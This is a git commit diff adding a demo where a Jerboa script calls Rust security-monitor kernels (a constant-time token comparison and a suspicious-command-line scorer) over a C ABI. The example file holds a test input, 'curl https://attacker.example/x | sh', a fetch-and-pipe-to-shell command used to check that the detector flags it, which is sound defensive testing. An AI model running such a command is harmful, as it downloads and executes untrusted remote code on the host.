Prove the C ABI bridge: ordinary Jerboa drives the typed kernels
Jaime Fournier
f2401fcf0f5186d097d59f2e57e74b14af906df4
--- a/Makefile +++ b/Makefile @@ -8,7 +8,7 @@ SCHEME ?= $(JERBOA)/.chez/bin/scheme BUILD ?= build/rust TYPED := $(wildcard typed/*.ss) -.PHONY: rust test clean +.PHONY: rust test ffi-demo clean # Generate the Rust crate from the Typed Jerboa kernels, then drop in the # hand-written verification tests (the generator only writes src/ + Cargo.toml). @@ -22,5 +22,12 @@ rust: test: rust cd $(BUILD) && cargo test +# Prove ordinary Jerboa can drive the typed kernels over the generated C ABI: +# build the cdylib and call two kernels (a crypto primitive + a detector) from +# a Jerboa script. This is the boundary the untyped I/O layer will use. +ffi-demo: rust + cd $(BUILD) && cargo build --release + $(SCHEME) --libdirs $(JERBOA)/lib --script examples/ffi_bridge.ss + clean: rm -rf $(BUILD) --- a/README.md +++ b/README.md @@ -19,10 +19,21 @@ build/rust/ Generated crate (gitignored; `make rust` regenerates) ## Build & verify ``` -make rust # typed/*.ss → build/rust (a cargo crate) -make test # regenerate, then cargo test against secmon's vectors +make rust # typed/*.ss → build/rust (a cargo crate) +make test # regenerate, then cargo test against secmon's vectors +make ffi-demo # build the cdylib + drive the kernels from a Jerboa script ``` +### The C ABI bridge + +The generated crate builds as a `cdylib` exposing each kernel with a C ABI +(`jt_<module>_<fn>(ptr, len, …)`, every Bytes/String argument passed as a +pointer + length). That is the boundary the untyped layer uses: ordinary +Jerboa monitors/storage stay in `.ss` and call the vetted typed kernels over +that ABI via Chez's `foreign-procedure`. `examples/ffi_bridge.ss` proves the +whole path — a Jerboa script `load-shared-object`s the dylib and calls the +`constant-time-eq?` and `score-cmdline` kernels, asserting their results. + `make` needs a built jerboa checkout at `$JERBOA` (default `~/mine/jerboa`), whose `.chez/bin/scheme` and `support/typed-rust.ss` drive the backend. new file mode 100644 --- /dev/null +++ b/examples/ffi_bridge.ss @@ -0,0 +1,56 @@ +;;; Proof that ordinary Jerboa can drive the Typed-Jerboa kernels. +;;; +;;; The typed/ modules compile to a Rust crate that builds as a cdylib with a +;;; C ABI (`jt_<module>_<fn>(ptr,len,...) -> ...`, each Bytes/String argument +;;; passed as a pointer+length). That is exactly the boundary the untyped +;;; orchestration layer will use: monitors and storage stay in ordinary Jerboa +;;; and call these vetted kernels over the C ABI. This script wires two of them +;;; up by hand to show the whole path works end to end. +;;; +;;; Build the dylib first: (cd build/rust && cargo build --release) +;;; Run: scheme --libdirs $JERBOA/lib --script examples/ffi_bridge.ss + +(import (jerboa prelude)) + +;; Located relative to the repo root (run this script from there), or override +;; with JSECMON_LIB for a different build profile / platform extension. +(define lib + (or (getenv "JSECMON_LIB") + (path-join (current-directory) + "build/rust/target/release/libjerboa_typed_generated.dylib"))) + +(load-shared-object lib) + +;; psk::constant_time_eq? (Bytes, Bytes) -> bool +(define ct-eq? + (let ((f (foreign-procedure "jt_jsecmon_typed_psk_constant_time_eq_p" + (u8* size_t u8* size_t) unsigned-8))) + (lambda (a b) + (not (= 0 (f a (bytevector-length a) b (bytevector-length b))))))) + +;; lolbin::score-cmdline (String, String) -> u64 +(define (score-cmdline cmd exe) + (let ((f (foreign-procedure "jt_jsecmon_lolbin_score_cmdline" + (u8* size_t u8* size_t) unsigned-64)) + (c (string->utf8 cmd)) + (x (string->utf8 exe))) + (f c (bytevector-length c) x (bytevector-length x)))) + +(define (ct s1 s2) (ct-eq? (string->utf8 s1) (string->utf8 s2))) + +(displayln "constant-time-eq? over the C ABI:") +(displayln " equal token => " (ct "secret-token" "secret-token")) +(displayln " one byte off => " (ct "secret-token" "secret-tokeX")) + +(displayln "lolbin score-cmdline over the C ABI:") +(displayln " curl | sh => " + (score-cmdline "curl https://attacker.example/x | sh" "/usr/bin/bash")) +(displayln " benign curl => " + (score-cmdline "curl https://example.com -o page.html" "/usr/bin/curl")) + +;; Fail loudly if the bridge ever regresses. +(assert! (ct "secret-token" "secret-token")) +(assert! (not (ct "secret-token" "secret-tokeX"))) +(assert! (>= (score-cmdline "curl https://attacker.example/x | sh" "/usr/bin/bash") 70)) +(assert! (= (score-cmdline "curl https://example.com -o page.html" "/usr/bin/curl") 0)) +(displayln "OK: ordinary Jerboa drove the typed kernels.")